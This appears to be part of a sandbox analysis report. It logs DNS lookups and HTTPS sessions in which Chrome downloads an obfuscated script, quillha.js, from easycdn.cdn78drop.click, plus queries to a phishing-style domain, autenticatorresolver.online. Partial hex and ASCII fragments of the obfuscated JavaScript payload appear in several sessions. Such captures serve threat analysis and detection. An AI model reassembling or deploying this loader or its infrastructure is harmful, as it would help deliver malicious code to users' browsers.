DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 14:26:40.523861885 CET	192.168.2.4	1.1.1.1	0x5cc0	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:40.524048090 CET	192.168.2.4	1.1.1.1	0x8c77	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jan 6, 2025 14:26:40.525537014 CET	192.168.2.4	1.1.1.1	0x631	Standard query (0)	easycdn.cdn78drop.click	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:40.525667906 CET	192.168.2.4	1.1.1.1	0xe8ed	Standard query (0)	easycdn.cdn78drop.click	65	IN (0x0001)	false
Jan 6, 2025 14:26:41.649574995 CET	192.168.2.4	1.1.1.1	0xee5d	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.649719000 CET	192.168.2.4	1.1.1.1	0xf166	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Jan 6, 2025 14:26:41.883192062 CET	192.168.2.4	1.1.1.1	0xe5cb	Standard query (0)	easycdn.cdn78drop.click	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.883347034 CET	192.168.2.4	1.1.1.1	0x2935	Standard query (0)	easycdn.cdn78drop.click	65	IN (0x0001)	false
Jan 6, 2025 14:26:41.917778969 CET	192.168.2.4	1.1.1.1	0x501	Standard query (0)	autenticatorresolver.online	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.917898893 CET	192.168.2.4	1.1.1.1	0x8256	Standard query (0)	autenticatorresolver.online	65	IN (0x0001)	false
Jan 6, 2025 14:26:43.393508911 CET	192.168.2.4	1.1.1.1	0xd4e4	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.393686056 CET	192.168.2.4	1.1.1.1	0xfa2b	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Jan 6, 2025 14:26:44.353764057 CET	192.168.2.4	1.1.1.1	0x42a3	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.353904963 CET	192.168.2.4	1.1.1.1	0x86f	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Jan 6, 2025 14:26:44.891351938 CET	192.168.2.4	1.1.1.1	0x41b9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.891650915 CET	192.168.2.4	1.1.1.1	0xca4b	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 14:26:40.530486107 CET	1.1.1.1	192.168.2.4	0x5cc0	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:40.530875921 CET	1.1.1.1	192.168.2.4	0x8c77	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:40.541596889 CET	1.1.1.1	192.168.2.4	0x631	No error (0)	easycdn.cdn78drop.click		13.57.116.250	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.656131983 CET	1.1.1.1	192.168.2.4	0xee5d	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:41.657077074 CET	1.1.1.1	192.168.2.4	0xf166	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:41.904958010 CET	1.1.1.1	192.168.2.4	0xe5cb	No error (0)	easycdn.cdn78drop.click		13.57.116.250	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930140018 CET	1.1.1.1	192.168.2.4	0x8256	No error (0)	autenticatorresolver.online			65	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:41.930149078 CET	1.1.1.1	192.168.2.4	0x501	No error (0)	autenticatorresolver.online		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400249958 CET	1.1.1.1	192.168.2.4	0xd4e4	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400249958 CET	1.1.1.1	192.168.2.4	0xd4e4	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400249958 CET	1.1.1.1	192.168.2.4	0xd4e4	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400249958 CET	1.1.1.1	192.168.2.4	0xd4e4	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400249958 CET	1.1.1.1	192.168.2.4	0xd4e4	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:43.400263071 CET	1.1.1.1	192.168.2.4	0xfa2b	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360470057 CET	1.1.1.1	192.168.2.4	0x42a3	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360470057 CET	1.1.1.1	192.168.2.4	0x42a3	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360470057 CET	1.1.1.1	192.168.2.4	0x42a3	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360470057 CET	1.1.1.1	192.168.2.4	0x42a3	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360470057 CET	1.1.1.1	192.168.2.4	0x42a3	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.360621929 CET	1.1.1.1	192.168.2.4	0x86f	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:26:44.897975922 CET	1.1.1.1	192.168.2.4	0x41b9	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:26:44.898133993 CET	1.1.1.1	192.168.2.4	0xca4b	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

easycdn.cdn78drop.click

autenticatorresolver.online

https:

cdn.jsdelivr.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	13.57.116.250	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:41 UTC	511	OUT	GET /hookie/uwieow/quillha.js HTTP/1.1 Host: easycdn.cdn78drop.click Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:41 UTC	429	IN	HTTP/1.1 200 OK etag: "201d4-67579acc-13f88b;;;" last-modified: Tue, 10 Dec 2024 01:35:08 GMT content-type: text/javascript content-length: 131540 accept-ranges: bytes date: Mon, 06 Jan 2025 13:26:41 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 37 64 36 30 63 2c 5f 30 78 33 34 31 65 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 33 38 39 62 37 66 3d 5f 30 78 34 30 31 38 2c 5f 30 78 35 65 30 32 30 33 3d 5f 30 78 34 37 64 36 30 63 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 32 30 61 35 30 62 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 34 62 33 29 29 2f 28 2d 30 78 31 37 2a 30 78 65 2b 30 78 35 38 33 2b 30 78 34 2a 2d 30 78 31 31 30 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 34 37 37 29 29 2f 28 30 78 31 2a 2d 30 78 31 33 34 36 2b 2d 30 78 31 31 2a 30 78 39 62 2b 30 78 31 64 39 33 29 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 33 64 33 29 29 2f 28 30 Data Ascii: (function(_0x47d60c,_0x341ecc){const _0x389b7f=_0x4018,_0x5e0203=_0x47d60c();while(!![]){try{const _0x20a50b=-parseInt(_0x389b7f(0x4b3))/(-0x170xe+0x583+0x4-0x110)+parseInt(_0x389b7f(0x477))/(0x1-0x1346+-0x110x9b+0x1d93)*(parseInt(_0x389b7f(0x3d3))/(0
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 5b 5f 30 78 35 64 37 32 32 35 28 30 78 34 36 63 29 5d 28 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 32 62 36 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 2d 30 78 38 34 2b 30 78 36 62 32 2b 30 78 32 2a 2d 30 78 32 33 36 29 2c 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 34 31 39 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 2d 30 78 31 34 37 2a 2d 30 78 31 39 2b 2d 30 78 31 63 34 66 2b 30 78 31 30 2a 2d 30 78 32 33 29 29 2c 27 41 5a 77 43 70 27 3a 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 32 62 36 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 30 78 31 2a 30 78 31 64 32 33 2b 2d 30 78 32 2a 2d 30 78 33 36 38 2b 2d 30 78 32 32 2a 30 78 31 30 33 29 2c 27 44 4c 4e 59 58 27 3a 5f 30 78 34 64 36 34 37 65 5b 5f 30 Data Ascii: [_0x5d7225(0x46c)](_0x4d647e[_0x5d7225(0x2b6)](_0xb90311,-0x84+0x6b2+0x2-0x236),_0x4d647e[_0x5d7225(0x419)](_0xb90311,-0x147-0x19+-0x1c4f+0x10-0x23)),'AZwCp':_0x4d647e[_0x5d7225(0x2b6)](_0xb90311,0x10x1d23+-0x2-0x368+-0x220x103),'DLNYX':_0x4d647e[_0
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 33 64 31 65 2c 5f 30 78 32 65 39 61 31 62 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 32 33 64 31 65 2b 5f 30 78 32 65 39 61 31 62 3b 7d 2c 27 68 77 64 43 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 66 39 33 37 39 65 2c 5f 30 78 32 62 33 66 62 63 29 7b 72 65 74 75 72 6e 20 5f 30 78 66 39 33 37 39 65 2a 5f 30 78 32 62 33 66 62 63 3b 7d 2c 27 41 63 49 48 77 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 62 34 39 64 38 37 2c 5f 30 78 33 62 37 32 62 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 62 34 39 64 38 37 2b 5f 30 78 33 62 37 32 62 36 3b 7d 2c 27 79 47 44 47 59 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 33 34 66 31 37 2c 5f 30 78 31 39 30 66 65 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 33 34 66 31 37 2b 5f 30 78 31 39 30 66 65 32 3b 7d 2c 27 74 78 68 5a 49 27 3a 66 Data Ascii: 3d1e,_0x2e9a1b){return _0x123d1e+_0x2e9a1b;},'hwdCo':function(_0xf9379e,_0x2b3fbc){return _0xf9379e*_0x2b3fbc;},'AcIHw':function(_0xb49d87,_0x3b72b6){return _0xb49d87+_0x3b72b6;},'yGDGY':function(_0x234f17,_0x190fe2){return _0x234f17+_0x190fe2;},'txhZI':f
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 31 33 2a 2d 30 78 37 64 2b 30 78 33 30 66 62 2a 30 78 32 29 2c 2d 28 2d 30 78 32 37 62 39 2b 30 78 33 61 35 30 2b 30 78 66 36 35 29 29 29 29 29 29 29 2c 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 32 30 30 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 32 36 34 35 2b 30 78 31 35 37 2a 30 78 31 63 2b 30 78 31 2a 30 78 31 61 66 29 5d 28 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 34 33 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 35 31 2a 30 78 62 2b 30 78 34 38 36 2a 2d 30 78 31 2b 30 78 39 33 37 29 5d 28 2d 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 38 66 29 5d 28 5f 30 78 33 63 37 32 33 38 Data Ascii: 13-0x7d+0x30fb0x2),-(-0x27b9+0x3a50+0xf65))))))),_0x34ccfe[_0x1a44da[_0x902685(0x200)](_0x3c7238,-0x2645+0x1570x1c+0x10x1af)](_0x34ccfe[_0x1a44da[_0x902685(0x343)](_0x3c7238,-0x510xb+0x486-0x1+0x937)](-_0x34ccfe[_0x1a44da[_0x902685(0x38f)](_0x3c7238
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 30 38 31 2b 2d 30 78 33 36 38 2a 30 78 36 2b 30 78 33 34 66 34 29 2c 2d 28 30 78 32 36 34 2b 2d 30 78 32 2a 30 78 31 32 30 62 2b 30 78 32 38 36 62 29 29 2c 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 33 35 35 29 5d 28 2d 28 2d 30 78 31 64 62 65 2b 2d 30 78 62 36 66 2a 2d 30 78 32 2b 30 78 36 65 35 29 2c 2d 30 78 39 2a 30 78 33 34 66 2b 30 78 36 31 38 2b 2d 30 78 34 2a 2d 30 78 37 30 36 29 29 2c 30 78 33 37 62 38 2a 30 78 31 2b 2d 30 78 37 2a 30 78 61 30 64 2b 30 78 33 34 32 62 29 29 29 29 29 3b 69 66 28 5f 30 78 33 34 63 63 66 65 5b 5f 30 78 31 61 34 34 64 61 5b 5f 30 78 39 30 32 36 38 35 28 30 78 32 63 37 29 5d 28 5f 30 78 33 63 37 32 33 38 2c 2d 30 78 34 38 36 2a 30 78 31 2b 30 78 31 61 39 37 2b 2d 30 78 31 34 33 62 29 5d 28 5f 30 Data Ascii: 081+-0x3680x6+0x34f4),-(0x264+-0x20x120b+0x286b)),_0x1a44da[_0x902685(0x355)](-(-0x1dbe+-0xb6f-0x2+0x6e5),-0x90x34f+0x618+-0x4-0x706)),0x37b80x1+-0x70xa0d+0x342b)))));if(_0x34ccfe[_0x1a44da[_0x902685(0x2c7)](_0x3c7238,-0x4860x1+0x1a97+-0x143b)](_0
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 78 31 61 2b 2d 28 30 78 36 2a 2d 30 78 33 34 31 2b 2d 30 78 66 2a 30 78 63 65 2b 2d 30 78 33 38 33 35 2a 2d 30 78 31 29 2b 28 2d 30 78 31 2a 30 78 38 35 31 2b 2d 30 78 36 34 2a 30 78 32 64 2b 2d 30 78 35 2a 2d 30 78 35 64 66 29 29 5d 28 5f 30 78 35 33 32 66 35 66 28 30 78 31 33 35 33 2b 30 78 63 66 36 2b 2d 30 78 36 39 30 2b 28 30 78 32 36 35 35 2b 2d 30 78 37 30 30 2b 2d 30 78 31 66 34 36 29 2a 28 30 78 31 35 39 65 2b 30 78 39 35 61 2b 30 78 31 31 2a 2d 30 78 31 63 33 29 2b 2d 28 30 78 32 37 31 61 2b 2d 30 78 34 35 37 64 2a 2d 30 78 31 2b 2d 30 78 34 34 38 32 29 29 2b 5f 30 78 35 33 32 66 35 66 28 28 30 78 65 32 31 2a 30 78 31 2b 30 78 34 33 2a 2d 30 78 31 39 2b 2d 30 78 37 39 35 29 2a 2d 28 2d 30 78 36 2a 30 78 32 39 33 2b 30 78 32 61 35 2a 30 78 33 2b Data Ascii: x1a+-(0x6-0x341+-0xf0xce+-0x3835-0x1)+(-0x10x851+-0x640x2d+-0x5-0x5df))](_0x532f5f(0x1353+0xcf6+-0x690+(0x2655+-0x700+-0x1f46)(0x159e+0x95a+0x11-0x1c3)+-(0x271a+-0x457d-0x1+-0x4482))+_0x532f5f((0xe210x1+0x43-0x19+-0x795)-(-0x60x293+0x2a50x3+
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 2b 2d 30 78 64 32 64 2b 30 78 32 35 64 33 29 2a 2d 28 30 78 32 31 37 65 2b 2d 30 78 35 63 31 2b 2d 30 78 33 36 38 2a 30 78 37 29 29 2c 69 66 72 61 6d 65 5b 5f 30 78 35 33 32 66 35 66 28 28 30 78 32 35 35 33 2b 30 78 31 2a 2d 30 78 31 39 38 39 2b 2d 30 78 62 63 39 2a 30 78 31 29 2a 28 30 78 31 38 30 36 2b 30 78 31 30 66 2a 2d 30 78 39 2b 30 78 34 2a 30 78 35 34 61 29 2b 28 30 78 31 2a 2d 30 78 31 66 61 2b 30 78 31 2a 30 78 63 31 36 2b 2d 30 78 39 31 63 29 2b 2d 28 30 78 31 64 30 39 2a 30 78 31 2b 2d 30 78 32 61 63 37 2b 2d 30 78 33 31 38 66 2a 2d 30 78 31 29 29 5d 5b 5f 30 78 35 33 32 66 35 66 28 2d 30 78 34 31 30 35 2b 2d 30 78 64 39 61 2b 30 78 31 2a 30 78 37 32 30 62 2b 2d 28 30 78 31 66 32 2b 30 78 31 66 36 37 2b 2d 30 78 32 31 35 37 29 2a 28 30 78 31 Data Ascii: +-0xd2d+0x25d3)-(0x217e+-0x5c1+-0x3680x7)),iframe[_0x532f5f((0x2553+0x1-0x1989+-0xbc90x1)(0x1806+0x10f-0x9+0x40x54a)+(0x1-0x1fa+0x10xc16+-0x91c)+-(0x1d090x1+-0x2ac7+-0x318f-0x1))][_0x532f5f(-0x4105+-0xd9a+0x10x720b+-(0x1f2+0x1f67+-0x2157)*(0x1
2025-01-06 13:26:41 UTC	16384	IN	Data Raw: 64 73 71 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 37 65 34 35 33 66 2c 5f 30 78 36 63 62 65 36 33 29 7b 72 65 74 75 72 6e 20 5f 30 78 37 65 34 35 33 66 2b 5f 30 78 36 63 62 65 36 33 3b 7d 2c 27 71 6e 41 72 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 34 64 33 64 66 2c 5f 30 78 31 64 61 37 32 30 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 34 64 33 64 66 28 5f 30 78 31 64 61 37 32 30 29 3b 7d 2c 27 41 58 7a 57 49 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 35 66 62 39 62 2c 5f 30 78 32 30 64 66 66 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 35 66 62 39 62 28 5f 30 78 32 30 64 66 66 61 29 3b 7d 2c 27 6b 66 64 63 69 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 64 31 39 66 63 2c 5f 30 78 32 64 62 30 62 38 29 7b 72 65 74 75 72 6e 20 5f 30 78 34 64 31 39 66 63 Data Ascii: dsqn':function(_0x7e453f,_0x6cbe63){return _0x7e453f+_0x6cbe63;},'qnArM':function(_0x44d3df,_0x1da720){return _0x44d3df(_0x1da720);},'AXzWI':function(_0x15fb9b,_0x20dffa){return _0x15fb9b(_0x20dffa);},'kfdci':function(_0x4d19fc,_0x2db0b8){return _0x4d19fc
2025-01-06 13:26:41 UTC	468	IN	Data Raw: 78 33 37 66 30 31 36 28 30 78 34 32 36 29 5d 28 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 34 33 63 29 5d 28 2d 28 30 78 32 31 61 34 2b 2d 30 78 31 36 65 64 2b 2d 30 78 31 31 63 2a 2d 30 78 36 29 2c 2d 28 30 78 31 36 61 32 2a 2d 30 78 31 2b 2d 30 78 31 2a 30 78 31 31 36 2b 30 78 31 2a 30 78 31 37 62 39 29 29 2c 2d 30 78 64 39 2a 2d 30 78 61 2b 2d 30 78 31 35 34 2a 30 78 31 2b 2d 30 78 36 31 62 29 2c 2d 28 2d 30 78 31 31 38 31 2b 2d 30 78 32 34 61 65 2b 30 78 34 37 62 66 29 29 29 2c 5f 30 78 33 36 34 36 35 31 5b 5f 30 78 34 65 63 37 30 64 5b 5f 30 78 33 37 66 30 31 36 28 30 78 35 30 61 29 5d 28 5f 30 78 33 32 39 36 65 64 2c 2d 30 78 31 2a 30 78 31 35 34 31 2b 30 78 32 2a 30 78 33 34 66 2b 30 78 31 30 30 37 29 5d 28 5f 30 78 35 32 64 Data Ascii: x37f016(0x426)](_0x4ec70d[_0x37f016(0x43c)](-(0x21a4+-0x16ed+-0x11c-0x6),-(0x16a2-0x1+-0x10x116+0x10x17b9)),-0xd9-0xa+-0x1540x1+-0x61b),-(-0x1181+-0x24ae+0x47bf))),_0x364651[_0x4ec70d[_0x37f016(0x50a)](_0x3296ed,-0x10x1541+0x20x34f+0x1007)](_0x52d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49747	13.57.116.250	443	3512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:26:42 UTC	371	OUT	GET /hookie/uwieow/quillha.js HTTP/1.1 Host: easycdn.cdn78drop.click Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-06 13:26:42 UTC	429	IN	HTTP/1.1 200 OK etag: "201d4-67579acc-13f88b;;;" last-modified: Tue, 10 Dec 2024 01:35:08 GMT content-type: text/javascript content-length: 131540 accept-ranges: bytes date: Mon, 06 Jan 2025 13:26:42 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 37 64 36 30 63 2c 5f 30 78 33 34 31 65 63 63 29 7b 63 6f 6e 73 74 20 5f 30 78 33 38 39 62 37 66 3d 5f 30 78 34 30 31 38 2c 5f 30 78 35 65 30 32 30 33 3d 5f 30 78 34 37 64 36 30 63 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 32 30 61 35 30 62 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 34 62 33 29 29 2f 28 2d 30 78 31 37 2a 30 78 65 2b 30 78 35 38 33 2b 30 78 34 2a 2d 30 78 31 31 30 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 34 37 37 29 29 2f 28 30 78 31 2a 2d 30 78 31 33 34 36 2b 2d 30 78 31 31 2a 30 78 39 62 2b 30 78 31 64 39 33 29 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 38 39 62 37 66 28 30 78 33 64 33 29 29 2f 28 30 Data Ascii: (function(_0x47d60c,_0x341ecc){const _0x389b7f=_0x4018,_0x5e0203=_0x47d60c();while(!![]){try{const _0x20a50b=-parseInt(_0x389b7f(0x4b3))/(-0x170xe+0x583+0x4-0x110)+parseInt(_0x389b7f(0x477))/(0x1-0x1346+-0x110x9b+0x1d93)*(parseInt(_0x389b7f(0x3d3))/(0
2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 5b 5f 30 78 35 64 37 32 32 35 28 30 78 34 36 63 29 5d 28 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 32 62 36 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 2d 30 78 38 34 2b 30 78 36 62 32 2b 30 78 32 2a 2d 30 78 32 33 36 29 2c 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 34 31 39 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 2d 30 78 31 34 37 2a 2d 30 78 31 39 2b 2d 30 78 31 63 34 66 2b 30 78 31 30 2a 2d 30 78 32 33 29 29 2c 27 41 5a 77 43 70 27 3a 5f 30 78 34 64 36 34 37 65 5b 5f 30 78 35 64 37 32 32 35 28 30 78 32 62 36 29 5d 28 5f 30 78 62 39 30 33 31 31 2c 30 78 31 2a 30 78 31 64 32 33 2b 2d 30 78 32 2a 2d 30 78 33 36 38 2b 2d 30 78 32 32 2a 30 78 31 30 33 29 2c 27 44 4c 4e 59 58 27 3a 5f 30 78 34 64 36 34 37 65 5b 5f 30 Data Ascii: [_0x5d7225(0x46c)](_0x4d647e[_0x5d7225(0x2b6)](_0xb90311,-0x84+0x6b2+0x2-0x236),_0x4d647e[_0x5d7225(0x419)](_0xb90311,-0x147-0x19+-0x1c4f+0x10-0x23)),'AZwCp':_0x4d647e[_0x5d7225(0x2b6)](_0xb90311,0x10x1d23+-0x2-0x368+-0x220x103),'DLNYX':_0x4d647e[_0
2025-01-06 13:26:42 UTC	16384	IN	Data Raw: 33 64 31 65 2c 5f 30 78 32 65 39 61 31 62 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 32 33 64 31 65 2b 5f 30 78 32 65 39 61 31 62 3b 7d 2c 27 68 77 64 43 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 66 39 33 37 39 65 2c 5f 30 78 32 62 33 66 62 63 29 7b 72 65 74 75 72 6e 20 5f 30 78 66 39 33 37 39 65 2a 5f 30 78 32 62 33 66 62 63 3b 7d 2c 27 41 63 49 48 77 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 62 34 39 64 38 37 2c 5f 30 78 33 62 37 32 62 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 62 34 39 64 38 37 2b 5f 30 78 33 62 37 32 62 36 3b 7d 2c 27 79 47 44 47 59 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 33 34 66 31 37 2c 5f 30 78 31 39 30 66 65 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 33 34 66 31 37 2b 5f 30 78 31 39 30 66 65 32 3b 7d 2c 27 74 78 68 5a 49 27 3a 66 Data Ascii: 3d1e,_0x2e9a1b){return _0x123d1e+_0x2e9a1b;},'hwdCo':function(_0xf9379e,_0x2b3fbc){return _0xf9379e*_0x2b3fbc;},'AcIHw':function(_0xb49d87,_0x3b72b6){return _0xb49d87+_0x3b72b6;},'yGDGY':function(_0x234f17,_0x190fe2){return _0x234f17+_0x190fe2;},'txhZI':f
